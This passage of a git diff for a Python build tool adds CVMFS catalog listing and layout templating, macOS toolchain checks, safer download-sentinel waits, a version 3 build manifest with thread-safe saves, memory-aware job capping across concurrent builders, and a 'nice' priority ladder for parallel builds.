drop it so paths are + # relative to the mountpoint. + rel = "/".join(parts[1:]) if len(parts) > 1 else "" + if rel: + results.append((rel, flags)) + return results + + +def list_entries(path): + """Fast-path listing of *path*. Returns (entries, meta) or raises. + + entries: [(relative_path, flags)] for every node under the serving catalog. + Raises FastPathUnavailable unless a single dedicated catalog is rooted exactly + at *path* with no deeper nested catalogs. + """ + info = parse_catalog_counters(read_xattr(path, "user.catalog_counters")) + if not info["hash"]: + raise FastPathUnavailable("catalog_counters had no catalog_hash") + + abs_path = os.path.realpath(path) + mount = info["mountpoint"] + if not (mount and os.path.realpath(mount) == abs_path): + raise FastPathUnavailable( + "serving catalog is rooted at %r, not at %r (would over-list)" + % (mount, abs_path)) + nested = subtree_nested(info["counters"]) + if nested: + raise FastPathUnavailable( + "%d deeper nested catalog(s) — single-fetch listing would be partial" + % nested) + + host = read_xattr(path, "user.host").strip() + blob = fetch_and_decompress(data_url_for_hash(host, info["hash"])) + with tempfile.NamedTemporaryFile(suffix=".sqlite", delete=False) as tf: + tf.write(blob) + db_path = tf.name + try: + entries = list_from_catalog_db(db_path) + finally: + os.unlink(db_path) + return entries, {"hash": info["hash"], "mountpoint": mount, "host": host} + + +def main(argv=None): + ap = argparse.ArgumentParser( + description="List modules under a CVMFS directory via its serving catalog.") + ap.add_argument("path", help="mounted CVMFS directory to list") + ap.add_argument("--regex", help="filter listing (case-insensitive)") + ap.add_argument("--depth2-dirs", action="store_true", + help="print absolute // directories (a drop-in " + "for `find -mindepth 2 -maxdepth 2`); default prints the " + "modulefiles (regular files / symlinks)") + args = ap.parse_args(argv) + + if not os.path.isdir(args.path): + sys.stderr.write("cvmfs_catalog: not a directory: %s\n" % args.path) + return 3 + try: + entries, _meta = list_entries(args.path) + except FastPathUnavailable as exc: + sys.stderr.write("cvmfs_catalog: fast path unavailable: %s\n" % exc) + return 3 + except Exception as exc: # noqa: BLE001 - never crash the frontend; fall back + sys.stderr.write("cvmfs_catalog: unexpected error: %s\n" % exc) + return 3 + + if args.depth2_dirs: + out = [os.path.join(args.path, rel) for rel, flags in entries + if (flags & kFlagDir) and rel.count("/") == 1] + else: + out = [rel for rel, flags in entries + if (flags & kFlagFile) or (flags & kFlagLink)] + out.sort() + if args.regex: + rx = re.compile(args.regex, re.IGNORECASE) + out = [m for m in out if rx.search(m)] + sys.stdout.write("".join(m + "\n" for m in out)) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/bits_helpers/cvmfs_layout.py b/bits_helpers/cvmfs_layout.py new file mode 100644 index 00000000..2e05e1cc --- /dev/null +++ b/bits_helpers/cvmfs_layout.py @@ -0,0 +1,63 @@ +"""Templated CVMFS layout resolved from the defaults profile. + +Lets a single place (``defaults-release.sh``) declare where a build's packages +and modulefiles live on CVMFS, so the build / publish / reuse paths stop being +spelled out as scattered CLI flags. Three optional fields, each a template that +may reference ``%(architecture)s`` (the effective, combined arch string, e.g. +``ubuntu2510_x86-64-gcc15-dbg``): + + cvmfs_dir: /cvmfs/sft.cern.ch/lcg/releases # CVMFS root + install_dir: %(architecture)s/Packages # relative to cvmfs_dir + module_dir: %(architecture)s/modules # relative to cvmfs_dir + +``install_path`` / ``module_path`` are the resolved absolutes +(``cvmfs_dir`` joined with the relative dir). When the build runs in a docker +container, ``install_path`` is the natural value for ``--cvmfs-prefix`` (build +in place, no-op relocation); ``cvmfs_dir`` is the natural ``--remote-store +cvmfs://`` root for reusing already-deployed components. +""" + +import os +import re + +_VAR_RE = re.compile(r"%\((\w+)\)s") + + +def _render(template, subst): + """Substitute %(NAME)s for known names; leave unknown placeholders intact.""" + if not template: + return template + return _VAR_RE.sub(lambda m: str(subst.get(m.group(1), m.group(0))), template) + + +def resolve_cvmfs_layout(defaults_meta, architecture): + """Return the resolved CVMFS layout dict, or None when not configured. + + Keys: cvmfs_dir, install_dir, module_dir, install_path, module_path. + Returns None when none of cvmfs_dir / install_dir / module_dir is set, so + builds that don't opt in are completely unaffected. + """ + if not defaults_meta: + return None + cvmfs_dir = defaults_meta.get("cvmfs_dir") + install_dir = defaults_meta.get("install_dir") + module_dir = defaults_meta.get("module_dir") + if not (cvmfs_dir or install_dir or module_dir): + return None + + subst = {"architecture": architecture} + cvmfs_dir = _render(cvmfs_dir or "", subst) + # Sensible defaults keep the install/module dirs arch-scoped if only + # cvmfs_dir was given. + install_dir = _render(install_dir or "%(architecture)s", subst) + module_dir = _render(module_dir or "%(architecture)s/modules", subst) + + install_path = os.path.join(cvmfs_dir, install_dir) if cvmfs_dir else install_dir + module_path = os.path.join(cvmfs_dir, module_dir) if cvmfs_dir else module_dir + return { + "cvmfs_dir": cvmfs_dir, + "install_dir": install_dir, + "module_dir": module_dir, + "install_path": install_path, + "module_path": module_path, + } diff --git a/bits_helpers/deps.py b/bits_helpers/deps.py index a85deb8f..27ac02ce 100644 --- a/bits_helpers/deps.py +++ b/bits_helpers/deps.py @@ -6,7 +6,7 @@ # Internal from bits_helpers.cmd import DockerRunner, execute, getstatusoutput from bits_helpers.log import debug, dieOnError, error, info -from bits_helpers.utilities import getPackageList, parseDefaults, readDefaults, validateDefaults +from bits_helpers.utilities import getPackageList, parseDefaults, readDefaults, validateDefaults, resolve_variables def doDeps(args, parser): @@ -17,7 +17,13 @@ def doDeps(args, parser): # Resolve all the package parsing boilerplate specs = {} - defaultsReader = lambda: readDefaults(args.configDir, args.defaults, parser.error, args.architecture) + def defaultsReader(): + # `bits deps` has no --flavour input, but still resolve `variables:` so any + # gated entries (and the predefined arch vars) are materialised into a flat + # map for the (?NAME) matchers rather than leaking raw {value, when} dicts. + meta, body = readDefaults(args.configDir, args.defaults, parser.error, args.architecture) + meta["variables"] = resolve_variables(meta.get("variables"), {}, args.architecture, args.defaults) + return meta, body (err, overrides, taps, defaultsMeta) = parseDefaults(args.disable, defaultsReader, debug) def performCheck(pkg, cmd): diff --git a/bits_helpers/doctor.py b/bits_helpers/doctor.py index 47f665ea..74dd2a3a 100644 --- a/bits_helpers/doctor.py +++ b/bits_helpers/doctor.py @@ -239,6 +239,86 @@ def _check_qemu_binfmt(arch: str) -> Tuple[str, str]: ) +def _check_macos_clt() -> Tuple[str, str]: + """macOS: verify the Xcode Command Line Tools (clang + SDK) actually work. + + SKIP on non-Darwin. On Darwin, ``xcode-select -p`` must resolve to an + installed developer dir AND a trivial C program must compile with ``cc`` + (catches a broken/partial install or a missing SDK). + """ + if sys.platform != "darwin": + return SKIP, "not macOS" + err_xs, out_xs = getstatusoutput("xcode-select -p") + if err_xs: + return FAIL, ("Xcode Command Line Tools not installed.\n" + " Install with: xcode-select --install") + # Confirm clang/SDK can actually build something. + err_cc, out_cc = getstatusoutput( + "printf 'int main(void){return 0;}\\n' | cc -xc - -o /dev/null") + if err_cc: + return FAIL, ("Xcode Command Line Tools present (%s) but cc cannot " + "compile — SDK may be missing or broken:\n %s\n" + " Try: xcode-select --install" % (out_xs.strip(), out_cc[:200])) + return PASS, "Xcode Command Line Tools functional (%s)" % out_xs.strip() + + +def _check_xquartz() -> Tuple[str, str]: + """macOS: WARN if XQuartz headers/libs are absent under /opt/X11. + + SKIP on non-Darwin. X11/GL-dependent packages build against XQuartz on + macOS; ROOT uses the native Cocoa backend and does not need it, so a + missing XQuartz is a warning rather than a failure. + """ + if sys.platform != "darwin": + return SKIP, "not macOS" + if os.path.isdir("/opt/X11/include"): + return PASS, "XQuartz present (/opt/X11)" + return WARN, ("XQuartz not found under /opt/X11 — X11/GL packages will fail " + "to build (ROOT's Cocoa backend is unaffected).\n" + " Install with: brew install --cask xquartz") + + +def _find_brewfile(args) -> str: + """Return the first existing Brewfile path among conventional locations.""" + candidates = [] + cfg = getattr(args, "configDir", "") or "" + # The canonical location is /macos/Brewfile (next to the recipes); + # check it first, then fall back to legacy locations for back-compat. + for base in (cfg, ".", os.path.join(cfg, "..", "stacks.bits")): + candidates.append(os.path.join(base, "macos", "Brewfile")) + candidates.append(os.path.join(base, "Brewfile")) + for path in candidates: + if os.path.isfile(path): + return path + return "" + + +def _check_brewfile(args) -> Tuple[str, str]: + """macOS: verify the generated Brewfile's formulae are installed. + + SKIP on non-Darwin or when no Brewfile is found. Runs `brew bundle check` + so the report mirrors what `bits build --brew` (or a fresh-Mac onboarding + `brew bundle`) would need. Missing Homebrew is a WARN, not a FAIL — a stack + may not use any Homebrew-sourced packages. + """ + if sys.platform != "darwin": + return SKIP, "not macOS" + brewfile = _find_brewfile(args) + if not brewfile: + return SKIP, "no Brewfile found" + if getstatusoutput("command -v brew")[0]: + return WARN, ("Homebrew not installed but a Brewfile is present (%s).\n" + " Install Homebrew (https://brew.sh), then: " + "brew bundle --file %s" % (brewfile, brewfile)) + err, out = getstatusoutput("brew bundle check --file %s" % brewfile) + if err: + return WARN, ("Brewfile not fully satisfied (%s):\n %s\n" + " Install the missing formulae with: brew bundle --file %s\n" + " or build with --brew to install on demand." + % (brewfile, out.strip()[:300], brewfile)) + return PASS, "Brewfile satisfied (%s)" % brewfile + + def _check_cvmfs_repo(repo_path: str) -> Tuple[str, str]: """PASS if *repo_path* exists and contains at least one entry.""" if not os.path.isdir(repo_path): @@ -556,6 +636,19 @@ def _run_runner_checks(args) -> List[CheckResult]: podman_status, podman_detail = _check_podman() checks.append(("podman (sandbox)", podman_status, podman_detail)) + # ── macOS developer toolchain (SKIP elsewhere) ─────────────────────────── + clt_status, clt_detail = _check_macos_clt() + if clt_status != SKIP: + checks.append(("Xcode Command Line Tools", clt_status, clt_detail)) + + xq_status, xq_detail = _check_xquartz() + if xq_status != SKIP: + checks.append(("XQuartz (X11/GL)", xq_status, xq_detail)) + + brewfile_status, brewfile_detail = _check_brewfile(args) + if brewfile_status != SKIP: + checks.append(("Homebrew Brewfile", brewfile_status, brewfile_detail)) + # ── CVMFS repos ────────────────────────────────────────────────────────── cvmfs_repos = list(getattr(args, "cvmfsRepos", None) or []) if not cvmfs_repos: diff --git a/bits_helpers/download.py b/bits_helpers/download.py index a3b8ab24..53cb319b 100644 --- a/bits_helpers/download.py +++ b/bits_helpers/download.py @@ -44,11 +44,43 @@ def _acquire_download(path): return False -def _wait_for_sentinel(path): - """Block until no in-progress download sentinel exists for *path*.""" +def _sentinel_is_stale(sentinel): + """Return True if *sentinel* is orphaned and should be ignored. + + A sentinel is stale if its owning PID is no longer alive, or if it cannot + be read/parsed at all (truncated, empty, or unreadable). Treating an + unparseable sentinel as stale guarantees the caller can never block forever + on a sentinel that will never be cleared (e.g. a crashed prefetch worker). + """ + try: + with open(sentinel) as fh: + pid = int(fh.read().strip()) + except Exception: + return True # missing / empty / garbage -> not a live download + try: + os.kill(pid, 0) # signal 0: liveness probe, does not actually signal + return False # owner still alive -> a real in-progress download + except OSError: + return True # no such process -> stale + + +def _wait_for_sentinel(path, timeout=600.0, poll=0.25): + """Block until the in-progress download sentinel for *path* clears. + + Returns as soon as the sentinel is gone, or early if it is stale (its + owning process has died) or *timeout* seconds elapse -- so a crashed + prefetch worker can never hang the build indefinitely. + """ sentinel = _sentinel_path(path) + deadline = time() + timeout while os.path.exists(sentinel): - sleep(0.25) + if _sentinel_is_stale(sentinel): + break + if time() >= deadline: + warning("Timed out after %.0fs waiting for download sentinel %s; " + "proceeding without it.", timeout, sentinel) + break + sleep(poll) urlRe = re.compile(r".*:.*/.*") urlAuthRe = re.compile(r'^(http(s|)://)([^:]+:[^@]+)@(.+)$') @@ -405,7 +437,14 @@ def download(source, dest, work_dir, checksum=None, enforce_mode="off", match = urlTypeRe.match(source) if not urlTypeRe.match(source): raise MalformedUrl(source) - downloadHandler = downloadHandlers[match.group(1)] + protocol = match.group(1) + if protocol not in downloadHandlers: + from bits_helpers.log import dieOnError as _dieOnError + _dieOnError(True, + "Unsupported protocol %r in source URL.\n" + " Supported protocols: %s\n" + " URL: %s" % (protocol, ", ".join(sorted(downloadHandlers)), source)) + downloadHandler = downloadHandlers[protocol] filename = source.rsplit("/", 1)[1] downloadDir = join(cacheDir, url_checksum[0:2], url_checksum) try: diff --git a/bits_helpers/log.py b/bits_helpers/log.py index df709718..ff890743 100644 --- a/bits_helpers/log.py +++ b/bits_helpers/log.py @@ -18,7 +18,14 @@ def __init__(self, fmtstr) -> None: logging.CRITICAL: "\033[1;37;41m", logging.SUCCESS: "\033[1;32m" } if sys.stdout.isatty() else {} def format(self, record): - record.msg = record.msg % record.args + # Only apply %-formatting when there are args. A pre-formatted message + # (e.g. built with str.format) can contain literal '%' characters -- such + # as an embedded traceback -- and "msg % ()" would then raise + # "not enough arguments for format string". Guarding on record.args keeps + # those messages intact instead of crashing the log handler. + if record.args: + record.msg = record.msg % record.args + record.args = None # prevent double-format if a second handler calls getMessage() if record.levelno == logging.BANNER and sys.stdout.isatty(): lines = record.msg.split("\n") return "\n\033[1;34m==>\033[m \033[1m%s\033[m" % lines[0] + \ @@ -68,7 +75,7 @@ def __call__(self, txt, *args) -> None: return self.last_update = now - if logger.level <= logging.DEBUG or not sys.stdout.isatty(): + if logger.isEnabledFor(logging.DEBUG) or not sys.stdout.isatty(): debug(txt, *args) return if time.time() - self.lasttime < 0.5: diff --git a/bits_helpers/manifest.py b/bits_helpers/manifest.py index de1dc6d3..ddcde089 100644 --- a/bits_helpers/manifest.py +++ b/bits_helpers/manifest.py @@ -24,12 +24,19 @@ The ``bits-manifest-latest.json`` symlink is updated atomically after each incremental write. -Schema (version 2) +Schema (version 3) ------------------ + +Version 3 adds ``patches`` (recipe patch filenames + their recorded checksums) +and ``variables`` (the package's resolved recipe variables) to each +``PackageEntry``, so a replay/audit can see every patch and template value that +shaped a build — not just its source checksums. Consumers should treat unknown +fields as additive and key off ``schema_version``. + :: { - "schema_version": int, # always 1 for this implementation + "schema_version": int, # this implementation writes 3 "bits_version": str, # bits package version (or "unknown") "bits_dist_hash": str, # BITS_DIST_HASH env var "created_at": ISO-8601, @@ -67,6 +74,8 @@ "tarball": str | null, # tarball filename "tarball_sha256": str | null, # sha256: of the tarball, if present "source_checksums": [SourceEntry], # per-source archive integrity anchors + "patches": [PatchEntry], # recipe patches + their checksums (v3+) + "variables": {str: str}, # resolved recipe variables (v3+) "completed_at": ISO-8601 } @@ -95,6 +104,20 @@ write time, and the value matches exactly what the checksum system already verified during the build. + PatchEntry:: + { + "name": str, # patch filename from the recipe's `patches:` list + "checksum": str | null # recorded digest (algo:hex) from patch_checksums, + # or null if none was declared/recorded + } + + ``patches`` lists the recipe's patches with the checksum the checksum system + recorded for each (``spec['patch_checksums']``); names without a recorded + digest get ``null``. ``variables`` is the package's resolved recipe-variable + map (``%(...)s`` values already expanded), captured for audit/debugging — it + does not drive replay (replay is pinned by ``requested_packages`` + + ``config_commit`` + per-package ``hash``). + Replay ------ When ``bits build --from-manifest FILE`` is invoked, bits reads the manifest @@ -108,6 +131,8 @@ import os import re import subprocess +import tempfile +import threading from datetime import datetime, timezone try: @@ -180,6 +205,25 @@ def _source_entries(spec: dict) -> list: return result +def _patch_entries(spec: dict) -> list: + """Return ``[{name, checksum}]`` for each patch the recipe applied. + + ``name`` is the filename from the recipe's ``patches:`` list; ``checksum`` is + the digest recorded for it in ``spec['patch_checksums']`` (``algo:hex``) or + ``None`` when none was declared. No file I/O: the checksum is exactly what + the checksum system already recorded for the build. Empty list when the + package applies no patches. + """ + patches = spec.get("patches") or [] + checks = spec.get("patch_checksums") or {} + result = [] + for name in patches: + if not isinstance(name, str): + continue + result.append({"name": name, "checksum": checks.get(name)}) + return result + + # ── BuildManifest ───────────────────────────────────────────────────────────── class BuildManifest: @@ -197,7 +241,7 @@ class BuildManifest: manifest.complete() # or manifest.fail(package_name, reason) """ - SCHEMA_VERSION = 2 + SCHEMA_VERSION = 3 _LATEST_SYMLINK = "bits-manifest-latest.json" def __init__( @@ -225,6 +269,9 @@ def __init__( else "bits-manifest-{}.json".format(timestamp) ) self._path = os.path.join(self._manifest_dir, _name) + # Serialises concurrent add_package()/_save() calls from --builders + # worker threads so they neither corrupt _data nor race os.replace(). + self._lock = threading.Lock() self._data = { "schema_version": self.SCHEMA_VERSION, "bits_version": __version__ or "unknown", @@ -263,19 +310,20 @@ def add_providers(self, provider_dirs: dict) -> None: This is the dict returned by both ``load_always_on_providers()`` and ``fetch_repo_providers_iteratively()``. Call once after merging both. """ - for checkout_dir, (name, commit) in provider_dirs.items(): - abs_dir = os.path.abspath(checkout_dir) - entry = { - "name": name, - "checkout_dir": abs_dir, - "commit": commit, - "remote_url": _git_remote_url(abs_dir), - } - self._data["providers"].append(entry) - debug("manifest: recorded provider %s @ %s", name, commit[:10]) - if provider_dirs: - self._data["updated_at"] = _now_iso() - self._save() + with self._lock: + for checkout_dir, (name, commit) in provider_dirs.items(): + abs_dir = os.path.abspath(checkout_dir) + entry = { + "name": name, + "checkout_dir": abs_dir, + "commit": commit, + "remote_url": _git_remote_url(abs_dir), + } + self._data["providers"].append(entry) + debug("manifest: recorded provider %s @ %s", name, commit[:10]) + if provider_dirs: + self._data["updated_at"] = _now_iso() + self._save() # ── Package recording ───────────────────────────────────────────────────── @@ -326,20 +374,26 @@ def add_package( "tarball": os.path.basename(tarball_path) if tarball_path else None, "tarball_sha256": _tarball_sha256(tarball_path), "source_checksums": _source_entries(spec), + # v3: patch provenance (names + recorded checksums) and the resolved + # recipe variables that shaped this build. + "patches": _patch_entries(spec), + "variables": dict(spec.get("variables") or {}), "completed_at": _now_iso(), } - self._data["packages"].append(entry) - self._data["updated_at"] = _now_iso() - self._save() + with self._lock: + self._data["packages"].append(entry) + self._data["updated_at"] = _now_iso() + self._save() debug("manifest: %s recorded as %s", spec.get("package", "?"), outcome) # ── Lifecycle ───────────────────────────────────────────────────────────── def complete(self) -> None: """Mark the manifest as successfully completed and write a final save.""" - self._data["status"] = "complete" - self._data["updated_at"] = _now_iso() - self._save() + with self._lock: + self._data["status"] = "complete" + self._data["updated_at"] = _now_iso() + self._save() debug("manifest: complete — %s", self._path) def fail(self, package_name: str = "", reason: str = "") -> None: @@ -348,13 +402,14 @@ def fail(self, package_name: str = "", reason: str = "") -> None: The manifest still contains all packages recorded up to this point, so partial builds are preserved for inspection. """ - self._data["status"] = "failed" - self._data["updated_at"] = _now_iso() - if package_name: - self._data["failed_package"] = package_name - if reason: - self._data["failure_reason"] = reason - self._save() + with self._lock: + self._data["status"] = "failed" + self._data["updated_at"] = _now_iso() + if package_name: + self._data["failed_package"] = package_name + if reason: + self._data["failure_reason"] = reason + self._save() debug("manifest: failed at package %s", package_name or "(unknown)") # ── Serialisation ───────────────────────────────────────────────────────── @@ -373,12 +428,25 @@ def load(cls, path: str) -> dict: # ── Internal ────────────────────────────────────────────────────────────── def _save(self) -> None: - """Atomically write the JSON manifest and update the ``latest`` symlink.""" - tmp = self._path + ".tmp" - with open(tmp, "w") as fh: - json.dump(self._data, fh, indent=2) - fh.write("\n") - os.replace(tmp, self._path) + """Atomically write the JSON manifest and update the ``latest`` symlink. + + Uses a unique temp file (not a fixed ``.tmp``) so that concurrent + --builders workers cannot race on a shared temp name -- previously two + simultaneous saves could leave one ``os.replace`` with a missing temp + (FileNotFoundError), failing an otherwise-successful package. + """ + fd, tmp = tempfile.mkstemp(dir=self._manifest_dir, prefix=".manifest-", suffix=".tmp") + try: + with os.fdopen(fd, "w") as fh: + json.dump(self._data, fh, indent=2) + fh.write("\n") + os.replace(tmp, self._path) + except BaseException: + try: + os.unlink(tmp) + except OSError: + pass + raise # Update the ``bits-manifest-latest.json`` symlink atomically. # The symlink lives alongside the timestamped files inside MANIFESTS/. diff --git a/bits_helpers/memory.py b/bits_helpers/memory.py index 467c82c8..4403f05c 100644 --- a/bits_helpers/memory.py +++ b/bits_helpers/memory.py @@ -32,6 +32,7 @@ # zlib — tiny; omit the field entirely and $JOBS is used as-is """ +import math import platform import re import subprocess @@ -124,6 +125,20 @@ def _available_linux() -> int: def _available_darwin() -> int: + """macOS estimate of memory available to a new workload, in MiB. + + Mirrors the Linux ``MemAvailable`` semantics: file-backed cache, purgeable + and speculative pages are *reclaimable* and therefore count as available. + macOS keeps "Pages free" tiny (most idle RAM is reclaimable cache), so the + old ``free + inactive`` sum drastically underreported available memory and + throttled heavy builds (e.g. ROOT to ``-j2`` on a machine that runs + ``-j10`` fine). + + Primary estimate ≈ physical − (anonymous + wired + compressed), i.e. + Activity Monitor's "physical − Memory Used": everything except app memory, + wired memory and the compressor is reclaimable. Falls back to the sum of + the explicitly-reclaimable buckets when the needed fields are unavailable. + """ out = subprocess.check_output(["vm_stat"], text=True) pages = {} for line in out.splitlines(): @@ -142,21 +157,60 @@ def _available_darwin() -> int: ) except Exception: # pylint: disable=broad-except pass - free = pages.get("Pages free", 0) - inactive = pages.get("Pages inactive", 0) - return (free + inactive) * page_bytes // (1024 * 1024) + + # Primary: physical RAM minus the genuinely-unavailable (non-reclaimable) + # buckets. File cache, purgeable and speculative pages are NOT subtracted + # because the kernel reclaims them under memory pressure. + anon = pages.get("Anonymous pages") + wired = pages.get("Pages wired down") + compress = pages.get("Pages occupied by compressor") + try: + physical = int(subprocess.check_output( + ["sysctl", "-n", "hw.memsize"], text=True).strip()) + except Exception: # pylint: disable=broad-except + physical = 0 + if physical and None not in (anon, wired, compress): + used = (anon + wired + compress) * page_bytes + return max(0, physical - used) // (1024 * 1024) + + # Fallback (older vm_stat / missing fields): sum the reclaimable buckets. + reclaimable = sum(pages.get(k, 0) for k in ( + "Pages free", "Pages inactive", "Pages speculative", "Pages purgeable")) + return reclaimable * page_bytes // (1024 * 1024) # ── Main public function ────────────────────────────────────────────────────── -def effective_jobs(requested: int, spec: dict) -> int: +def effective_jobs(requested: int, spec: dict, builders: int = 1, + oversubscribe: float = 1.0) -> int: """Return the number of parallel jobs to use for *spec*. - If the recipe does not specify ``mem_per_job`` the *requested* value is - returned unchanged. Otherwise the available memory is sampled and the - return value is:: - - min(requested, floor(available_mib * utilisation / mem_per_job)) + The return value bounds two independent oversubscription axes so that the + *whole run* stays within one machine's worth of threads and RAM no matter + how many packages build concurrently (``--builders``): + + * **CPU / load.** ``requested`` is divided by the number of concurrent + builders, so the collective ``-j`` of all builders stays near the + single-builder budget. An *oversubscribe* factor (>= 1.0) multiplies the + per-builder share before the split so that idle builder slots — a deep + dependency tree rarely keeps all ``--builders`` busy at once — do not + leave cores unused. The per-package value is still clamped to + ``requested`` (``min`` below), so a single-builder build is unaffected and + no one ``make`` ever runs more than one machine's worth of threads; the + mild overshoot when several builders *are* busy is absorbed by the OS + scheduler and the nice ladder. This applies to *every* recipe. + + * **Memory.** When the recipe declares ``mem_per_job`` the available + memory — split across the ``--builders`` *maximum* (NOT scaled by + *oversubscribe*) to avoid the sampling race where several heavy builds + start together and each reads the full free RAM — is divided by the + per-job footprint. Memory stays conservative on purpose: CPU + oversubscription degrades gracefully, memory oversubscription means + OOM/swap, so the memory cap remains authoritative. + + The result is:: + + min(requested, ceil(requested * oversubscribe / builders), memory_cap) Always returns at least 1 so the build is never completely stalled. @@ -166,16 +220,36 @@ def effective_jobs(requested: int, spec: dict) -> int: The ``-j N`` value (or CPU count) chosen by the user / scheduler. spec: The package spec dict as returned by ``getPackageList``. + builders: + The number of packages building in parallel (``--builders``). The CPU + and memory budgets are split across this many concurrent builders. + Defaults to 1 (single-builder behaviour, unchanged). + oversubscribe: + Factor (>= 1.0) applied to the per-builder CPU share only. 1.0 (the + default) keeps the previous behaviour exactly. Has no effect on the + memory cap, nor on single-builder builds (the ``min(requested, …)`` + clamp absorbs it). """ + builders = max(1, int(builders)) + try: + oversubscribe = float(oversubscribe) + except (TypeError, ValueError): + oversubscribe = 1.0 + oversubscribe = max(1.0, oversubscribe) + # CPU/load budget: per-builder share, optionally oversubscribed, ceil'd so + # the integer split does not waste the remainder. Clamped to `requested` + # below so a lone build never exceeds one machine's worth of threads. + cpu_cap = max(1, math.ceil(requested * oversubscribe / builders)) + raw = spec.get("mem_per_job") if raw is None: - return requested # no hint → unchanged + return min(requested, cpu_cap) # no mem hint → CPU cap only try: mem_per_job = parse_memory(raw) except ValueError as exc: warning("Ignoring invalid mem_per_job for %r: %s", spec.get("package", "?"), exc) - return requested + return min(requested, cpu_cap) utilisation = float(spec.get("mem_utilisation", 0.9)) if not (0.0 < utilisation <= 1.0): @@ -188,16 +262,18 @@ def effective_jobs(requested: int, spec: dict) -> int: avail = available_memory_mib() if avail <= 0: - return requested # detection failed → unchanged + return min(requested, cpu_cap) # detection failed → CPU cap only - memory_cap = max(1, int(avail * utilisation / mem_per_job)) - jobs = min(requested, memory_cap) + # Split the RAM budget across the concurrent builders so that builds + # starting in the same scheduling tick do not each claim the whole machine. + memory_cap = max(1, int((avail / builders) * utilisation / mem_per_job)) + jobs = min(requested, cpu_cap, memory_cap) if jobs < requested: debug( "Package %r: capping $JOBS %d → %d " - "(%d MiB available, %d MiB/job, %.0f%% utilisation)", + "(%d MiB available, %d builders, %d MiB/job, %.0f%% utilisation)", spec.get("package", "?"), requested, jobs, - avail, mem_per_job, utilisation * 100, + avail, builders, mem_per_job, utilisation * 100, ) return jobs diff --git a/bits_helpers/nice_ladder.py b/bits_helpers/nice_ladder.py new file mode 100644 index 00000000..f2cfeddc --- /dev/null +++ b/bits_helpers/nice_ladder.py @@ -0,0 +1,350 @@ +""" +Staggered OS-priority ('nice') ladder for concurrent --builders jobs. + +Idea (Predrag, 2026-06): when several packages build at once, give each a +different OS scheduling priority instead of letting all of them fight for the +CPU as equals. A pool of `slots` nice levels — 0, step, 2*step, ... (clamped to +maxnice) — is handed out lowest-first; each starting build claims the lowest +free level and releases it on completion. So at any moment one running build +sits at nice 0 (full speed) and the rest are progressively niced down, and when +the lead build finishes the freed nice-0 slot is taken over by the next one. + +This makes CPU oversubscription degrade *gracefully* — the lead build keeps +making near-full-speed progress and the machine stays responsive — but it does +NOT bound memory: the per-job memory cap (mem_per_job / effective_jobs) and the +ResourceManager admission control remain responsible for that. Niceness is a +soft CPU-share hint, not a thread-count limit, so it complements rather than +replaces the job-count budgeting. + +This is on by default for ``--builders > 1`` (disable with ``--no-build-nice``). + +This module also provides :class:`ReniceWatchdog`, a background thread that +boosts the priority of a long-running 'straggler' build: a package that was +handed a low-priority (high nice) slot can end up the last job still running +and, because it was niced down, crawl. The watchdog periodically renices the +longest-running niced-down build back toward nice 0 -- one at a time. +""" + +import os +import subprocess +import threading +import time + +try: + import psutil +except Exception: # psutil is an optional dependency + psutil = None + + +def _run_docker_exec(cmd): + """Run a ``docker/podman`` command, returning ``(returncode, stdout, stderr)``. + + Best-effort: a container that has already finished (``--rm``) is gone, so + the command fails harmlessly and we return a non-zero code with no output. + """ + try: + p = subprocess.run( + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30 + ) + return (p.returncode, + p.stdout.decode("utf-8", "replace"), + p.stderr.decode("utf-8", "replace")) + except Exception: + return 1, "", "" + + +# Heavy CPU-bound build steps whose long-running instances are worth boosting. +# These are the GCC/Clang/Fortran back-ends (and the linker) that actually do +# the work; the front-end drivers (gcc/g++/gfortran) are short-lived. +_COMPILER_HINTS = ( + "cc1plus", "cc1", "f951", "lto1", "lto-wrapper", + "g++", "gcc", "gfortran", "clang", "clang++", "rustc", "ld", "ld.gold", + "ld.lld", "collect2", "as", +) + + +def cpu_shares_for_nice(nice_level, base=1024): + """Map an OS nice level to a Docker/cgroup ``--cpu-shares`` weight. + + Under ``--docker`` each concurrent build runs in its own container (its own + cgroup), so an outer ``nice`` cannot rank the builds against each other — the + host scheduler allocates CPU between the build *containers* in proportion to + their cgroup CPU weight. ``docker run --cpu-shares=W`` sets that weight, so + it is the container-level equivalent of the nice ladder. + + The mapping mirrors the CFS nice weight table (each nice step ~= 1.25x), so a + containerised build gets the same relative priority ordering as a niced + native build: nice 0 -> 1024 (Docker default), nice 5 -> ~335, + nice 10 -> ~110, nice 15 -> ~36. Clamped to Docker's minimum of 2. + """ + shares = int(round(base * (0.8 ** max(0, int(nice_level))))) + return max(2, shares) + + +class NiceLadder: + """A small thread-safe pool of OS 'nice' levels for concurrent builds. + + Parameters + ---------- + slots: + Number of concurrent build slots (normally ``--builders``). Sized so + the pool never exhausts: at most this many build tasks run at once. + step: + Nice increment between successive slots. Slot rank ``k`` maps to + ``min(k * step, maxnice)``. ``step=1`` gives a gentle 0,1,2,3 ladder; + larger steps separate the slots more aggressively. + maxnice: + Upper clamp (Linux allows 0..19 for unprivileged processes). + """ + + def __init__(self, slots, step=5, maxnice=19): + self.step = max(0, int(step)) + self.maxnice = int(maxnice) + self._free = list(range(max(1, int(slots)))) + self._lock = threading.Lock() + + def _level(self, rank): + return min(rank * self.step, self.maxnice) + + def acquire(self): + """Claim the lowest free slot. Returns ``(token, nice_level)``. + + ``token`` must be passed back to :meth:`release`. If the pool is + somehow exhausted (more concurrent builds than slots), returns + ``(None, maxnice)`` so the extra build still runs, just fully niced. + """ + with self._lock: + rank = self._free.pop(0) if self._free else None + if rank is None: + return (None, self.maxnice) + return (rank, self._level(rank)) + + def release(self, token): + """Return a slot claimed by :meth:`acquire` to the pool.""" + if token is None: + return + with self._lock: + if token not in self._free: + self._free.append(token) + self._free.sort() + + +class ReniceWatchdog: + """Boost the priority of long-running 'straggler' builds, one at a time. + + With the nice ladder a build handed a low-priority (high nice) slot can + become the last job still running and, because it was niced down, crawl -- + especially a single long Fortran/C++ translation unit. This watchdog runs + in a background thread and every ``interval`` seconds scans the build + processes spawned by *this* bits process, finds the longest-running one + that is still niced down and has been running longer than ``boost_after`` + seconds, and renices its whole process subtree back toward ``target_nice``. + Only one build is boosted per interval, so the worst stragglers are + restored to full speed first. + + Raising a native process's priority (lowering its nice value) requires + privilege on Linux (root / CAP_SYS_NICE, or a raised RLIMIT_NICE). When + that is not permitted the watchdog logs a single warning and then stays + quiet; it never raises. + + 